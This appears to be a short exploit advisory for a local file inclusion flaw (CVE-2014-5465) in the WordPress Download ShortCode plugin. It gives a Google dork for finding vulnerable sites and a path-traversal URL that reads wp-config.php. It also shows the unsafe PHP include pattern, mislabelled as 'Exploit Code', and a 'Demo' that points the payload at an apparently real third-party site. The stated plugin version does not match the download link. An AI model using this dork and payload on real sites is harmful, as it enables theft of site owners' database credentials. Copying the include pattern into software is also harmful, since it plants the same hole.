1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
################################################################################################# # # Title: WordPress ShortCode Plugin - Local File Inclusion Vulnerability # Severity : High+/Critical # Reporter(s): Mehdi Karout & Christian Galeone # Google Dork: inurl:wp/wp-content/force-download.php # Plugin Version : 0.2.3 # Plugin Name: Download ShortCode # Plugin Download Link : http://downloads.wordpress.org/plugin/download-shortcode.1.1.zip # Vendor Home: http://werdswords.com/ # Date : 25/08/2014 # Tested in: Win7 - Kali Linux # CVE: CVE-2014-5465 # ################################################################################################## # # PoC : # # # http://localhost:80/wordpress/wp/wp-content/force-download.php?file=[File] # # http://localhost:80/wordpress/wp/wp-content/force-download.php?file=../wp-config.php # # Exploit Code : # #$file = $_GET['file']; #if(isset($file)) #{ #include("pages/$file"); #} #else #{ #include("index.php"); #} # # Demo : # # http://llyndamoreboots.com/wp/wp-content/force-download.php?file=../wp-config.php # ################################################################################################## |